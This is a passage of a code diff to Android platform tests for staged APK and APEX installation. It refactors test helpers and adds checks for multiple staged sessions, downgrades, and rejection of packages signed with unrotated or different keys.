                 packageInstaller.abandonSession(sessionInfo.getSessionId());
@@ -133,8 +163,7 @@
                 Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
             }
         }
-        uninstall(TEST_APP_A);
-        uninstall(TEST_APP_B);
+        Uninstall.packages(TestApp.A, TestApp.B);
         Files.deleteIfExists(mTestStateFile.toPath());
     }
 
@@ -156,20 +185,19 @@
 
     @Test
     public void testInstallStagedApk_Commit() throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallStagedApk_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
@@ -178,89 +206,81 @@
         assertSessionApplied(sessionId);
         // Session is in a final state. Test that abandoning the session doesn't remove it from the
         // session database.
-        getPackageInstaller().abandonSession(sessionId);
+        abandonSession(sessionId);
         assertSessionApplied(sessionId);
     }
 
     @Test
     public void testInstallMultipleStagedApks_Commit() throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk")
+        int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallMultipleStagedApks_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage()
-            throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageSingleApk("StagedInstallTestAppAv1.apk");
+    public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+        stageSingleApk(TestApp.A1).assertSuccessful();
+        StageSessionResult failedSessionResult = stageSingleApk(TestApp.A1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
-                "There is already in-progress committed staged session");
-        getPackageInstaller().abandonSession(sessionId);
+                "has been staged already by session");
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage()
+    public void testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk()
             throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk");
-        assertThat(failedSessionResult.getErrorMessage()).contains(
-                "There is already in-progress committed staged session");
-        getPackageInstaller().abandonSession(sessionId);
+        stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful();
+        stageSingleApk(TestApp.C1).assertSuccessful();
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage()
-            throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageSingleApk(
-                "StagedInstallTestAppAv1.apk");
+    public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
+        stageMultipleApks(TestApp.A1, TestApp.B1).assertSuccessful();
+        StageSessionResult failedSessionResult = stageMultipleApks(TestApp.A2, TestApp.C1);
         assertThat(failedSessionResult.getErrorMessage()).contains(
-                "There is already in-progress committed staged session");
-        getPackageInstaller().abandonSession(sessionId);
+                "has been staged already by session");
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage()
+    public void testMultipleStagedInstall_ApkOnly_Commit()
             throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk").assertSuccessful().getSessionId();
-        StageSessionResult failedSessionResult = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk");
-        assertThat(failedSessionResult.getErrorMessage()).contains(
-                "There is already in-progress committed staged session");
-        getPackageInstaller().abandonSession(sessionId);
+        int firstSessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(firstSessionId);
+        int secondSessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(secondSessionId);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        storeSessionIds(Arrays.asList(firstSessionId, secondSessionId));
+    }
+
+    @Test
+    public void testMultipleStagedInstall_ApkOnly_VerifyPostReboot()
+            throws Exception {
+        List<Integer> sessionIds = retrieveLastSessionIds();
+        for (int sessionId: sessionIds) {
+            assertSessionApplied(sessionId);
+        }
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testAbandonStagedApkBeforeReboot_CommitAndAbandon() throws Exception {
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         PackageInstaller.SessionInfo session = getStagedSessionInfo(sessionId);
         assertSessionReady(sessionId);
@@ -287,53 +307,57 @@
 
     @Test
     public void testAbandonStagedApkBeforeReboot_VerifyPostReboot() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
-    public void testGetActiveStagedSession() throws Exception {
+    public void testGetActiveStagedSessions() throws Exception {
         PackageInstaller packageInstaller = getPackageInstaller();
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
-        assertThat(session.getSessionId()).isEqualTo(sessionId);
+        int firstSessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        int secondSessionId = stageSingleApk(TestApp.B1).assertSuccessful().getSessionId();
+        List<Integer> stagedSessionIds = packageInstaller.getActiveStagedSessions()
+                .stream().map(s -> s.getSessionId()).collect(Collectors.toList());
+        assertThat(stagedSessionIds).hasSize(2);
+        assertThat(stagedSessionIds).contains(firstSessionId);
+        assertThat(stagedSessionIds).contains(secondSessionId);
     }
 
     @Test
-    public void testGetActiveStagedSessionNoSessionActive() throws Exception {
+    public void testGetActiveStagedSessionsNoSessionActive() throws Exception {
         PackageInstaller packageInstaller = getPackageInstaller();
-        PackageInstaller.SessionInfo session = packageInstaller.getActiveStagedSession();
-        assertThat(session).isNull();
+        List<PackageInstaller.SessionInfo> sessions = packageInstaller.getActiveStagedSessions();
+        assertThat(sessions).isEmpty();
     }
 
     @Test
-    public void testGetGetActiveStagedSession_MultiApkSession() throws Exception {
-        int sessionId = stageMultipleApks(
-                "StagedInstallTestAppAv1.apk",
-                "StagedInstallTestAppBv1.apk")
+    public void testGetActiveStagedSessions_MultiApkSession() throws Exception {
+        int firstSessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
                 .assertSuccessful().getSessionId();
-        PackageInstaller.SessionInfo session = getPackageInstaller().getActiveStagedSession();
-        assertThat(session.getSessionId()).isEqualTo(sessionId);
+        int secondSessionId = stageMultipleApks(TestApp.C1)
+                .assertSuccessful().getSessionId();
+        List<Integer> stagedSessionIds = getPackageInstaller().getActiveStagedSessions()
+                .stream().map(s -> s.getSessionId()).collect(Collectors.toList());
+        assertThat(stagedSessionIds).hasSize(2);
+        assertThat(stagedSessionIds).contains(firstSessionId);
+        assertThat(stagedSessionIds).contains(secondSessionId);
     }
 
     @Test
     public void testStagedInstallDowngrade_DowngradeNotRequested_Fails_Commit()  throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
     }
 
     @Test
     public void testStagedInstallDowngrade_DowngradeRequested_Commit() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageDowngradeSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -341,11 +365,10 @@
 
     @Test
     public void testStagedInstallDowngrade_DowngradeRequested_Fails_Commit() throws Exception {
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        installNonStaged("StagedInstallTestAppAv2.apk");
-        int sessionId = stageDowngradeSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A2).commit();
+        int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
     }
@@ -356,49 +379,47 @@
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         // App should be downgraded.
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
     public void testInstallStagedApex_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testInstallStagedApex_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testInstallStagedApexAndApk_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        int sessionId = stageMultipleApks(
-                "com.android.apex.cts.shim.v2.apex",
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1)
+                .assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
         // Version shouldn't change before reboot.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testInstallStagedApexAndApk_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
     }
 
     @Test
@@ -418,9 +439,9 @@
 
     @Test
     public void testInstallStagedNonPreInstalledApex_Fails() throws Exception {
-        assertThat(getInstalledVersion(NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.NotPreInstalledApex)).isEqualTo(-1);
         int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim_not_pre_installed.apex")
+                TestApp.ApexNotPreInstalled)
                 .assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
@@ -428,9 +449,9 @@
 
     @Test
     public void testStageApkWithSameNameAsApexShouldFail_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppSamePackageNameAsApex.apk").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TESTAPP_SAME_NAME_AS_APEX)
+                .assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -440,28 +461,51 @@
     public void testStageApkWithSameNameAsApexShouldFail_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testNonStagedInstallApkWithSameNameAsApexShouldFail() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        PackageInstaller packageInstaller = getPackageInstaller();
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        int sessionId = packageInstaller.createSession(sessionParams);
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, "StagedInstallTestAppSamePackageNameAsApex.apk");
-        session.commit(LocalIntentSender.getIntentSender());
-        final String errorMessage = extractErrorMessage(LocalIntentSender.getIntentSenderResult());
-        assertThat(errorMessage).contains("is an APEX package and can't be installed as an APK");
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "is an APEX package and can't be installed as an APK",
+                Install.single(TESTAPP_SAME_NAME_AS_APEX));
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    }
+
+    @Test
+    public void testInstallV2Apex_Commit() throws Exception {
+        int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testInstallV2Apex_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    }
+
+    @Test
+    public void testInstallV2SignedBobApex_Commit() throws Exception {
+        int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testInstallV2SignedBobApex_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testInstallV3Apex_Commit() throws Exception {
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v3.apex").assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -471,15 +515,29 @@
     public void testInstallV3Apex_VerifyPostReboot() throws Exception {
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+    }
+
+    @Test
+    public void testInstallV3SignedBobApex_Commit() throws Exception {
+        int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testInstallV3SignedBobApex_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
         // Also verify that correct session info is reported by PackageManager.
@@ -493,15 +551,14 @@
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
         // INSTALL_REQUEST_DOWNGRADE wasn't set, so apex shouldn't be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageDowngradeSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
         storeSessionId(sessionId);
@@ -513,15 +570,14 @@
         int sessionId = retrieveLastSessionId();
         assertSessionApplied(sessionId);
         // Apex should be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
     }
 
     @Test
     public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails_Commit()
             throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
-        int sessionId = stageDowngradeSingleApk(
-                "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
         PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
         assertThat(sessionInfo).isStagedSessionFailed();
         // Also verify that correct session info is reported by PackageManager.
@@ -535,25 +591,39 @@
         int sessionId = retrieveLastSessionId();
         assertSessionFailed(sessionId);
         // Apex shouldn't be downgraded.
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+    }
+
+    @Test
+    public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild_Commit()
+            throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild_VerifyPostReboot()
+            throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        // Apex should be downgraded.
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
     }
 
     @Test
     public void testInstallApex_DeviceDoesNotSupportApex_Fails() throws Exception {
-        try {
-            stageSingleApk("com.android.apex.cts.shim.v2.apex");
-            fail("IllegalArgumentException expected");
-        } catch (IllegalArgumentException expected) {
-            assertThat(expected.getMessage()).contains(
-                    "This device doesn't support the installation of APEX files");
-        }
+        InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
+                "This device doesn't support the installation of APEX files",
+                Install.single(TestApp.Apex2).setStaged());
     }
 
     @Test
     public void testFailsInvalidApexInstall_Commit() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-        int sessionId = stageSingleApk(
-                "com.android.apex.cts.shim.v2_wrong_sha.apex").assertSuccessful()
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(TestApp.ApexWrongSha2).assertSuccessful()
                 .getSessionId();
         waitForIsFailedBroadcast(sessionId);
         assertSessionFailed(sessionId);
@@ -566,7 +636,7 @@
         assertSessionFailed(sessionId);
         // Session is in a final state. Test that abandoning the session doesn't remove it from the
         // session database.
-        getPackageInstaller().abandonSession(sessionId);
+        abandonSession(sessionId);
         assertSessionFailed(sessionId);
     }
 
@@ -603,13 +673,12 @@
         };
 
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
+        PackageInstaller packageInstaller = getPackageInstaller();
         packageInstaller.registerSessionCallback(callback, handler);
 
-        int sessionId = stageSingleApk(
-                "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+        int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
 
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
         waitForIsReadyBroadcast(sessionId);
         assertSessionReady(sessionId);
 
@@ -627,9 +696,152 @@
         packageInstaller.abandonSession(sessionId);
     }
 
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
-                .getPackageInstaller();
+    @Test
+    public void testInstallStagedApexWithoutApexSuffix_Commit() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+
+        int sessionId = stageSingleApk("com.android.apex.cts.shim.v2.apex", "package")
+                .assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        assertSessionReady(sessionId);
+        storeSessionId(sessionId);
+        // Version shouldn't change before reboot.
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+    }
+
+    @Test
+    public void testInstallStagedApexWithoutApexSuffix_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    }
+
+    @Test
+    public void testRejectsApexDifferentCertificate() throws Exception {
+        int sessionId = stageSingleApk(Apex2DifferentCertificate)
+                .assertSuccessful().getSessionId();
+        PackageInstaller.SessionInfo info =
+                SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
+        assertThat(info.getSessionId()).isEqualTo(sessionId);
+        assertThat(info).isStagedSessionFailed();
+        assertThat(info.getStagedSessionErrorMessage()).contains("is not compatible with the one "
+                + "currently installed on device");
+    }
+
+    /**
+     * Tests for staged install involving rotated keys.
+     *
+     * Here alice means the original default key that cts.shim.v1 package was signed with and
+     * bob is the new key alice rotates to. Where ambiguous, we will refer keys as alice and bob
+     * instead of "old key" and "new key".
+     */
+
+    // The update should fail if it is signed with a different non-rotated key
+    @Test
+    public void testUpdateWithDifferentKeyButNoRotation() throws Exception {
+        int sessionId = stageSingleApk(Apex2SignedBob).assertSuccessful().getSessionId();
+        waitForIsFailedBroadcast(sessionId);
+    }
+
+    // The update should pass if it is signed with a proper rotated key
+    @Test
+    public void testUpdateWithDifferentKey_Commit() throws Exception {
+        int sessionId = stageSingleApk(Apex2SignedBobRot).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+    }
+
+    @Test
+    public void testUpdateWithDifferentKey_VerifyPostReboot() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+    }
+
+    // Once updated with a new rotated key (bob), further updates with old key (alice) should fail
+    @Test
+    public void testUntrustedOldKeyIsRejected() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
+        waitForIsFailedBroadcast(sessionId);
+    }
+
+    // Should be able to update with an old key which is trusted
+    @Test
+    public void testTrustedOldKeyIsAccepted_Commit() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        int sessionId = stageSingleApk(Apex2SignedBobRotRollback).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+    }
+
+    @Test
+    public void testTrustedOldKeyIsAccepted_CommitPostReboot() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+    }
+
+    @Test
+    public void testTrustedOldKeyIsAccepted_VerifyPostReboot() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+    }
+
+    // Once updated with a new rotated key (bob), further updates with new key (bob) should pass
+    @Test
+    public void testAfterRotationNewKeyCanUpdateFurther_CommitPostReboot() throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        int sessionId = stageSingleApk(Apex3SignedBobRot).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+    }
+
+    @Test
+    public void testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+    }
+
+    // Once updated with a new rotated key (bob), further updates can be done with key only
+    @Test
+    public void testAfterRotationNewKeyCanUpdateFurtherWithoutLineage()
+            throws Exception {
+        assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        int sessionId = stageSingleApk(Apex3SignedBob).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+    }
+
+    @Test
+    public void testSamegradeSystemApex_Commit() throws Exception {
+        final PackageInfo shim = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().getPackageInfo(SHIM_PACKAGE_NAME, PackageManager.MATCH_APEX);
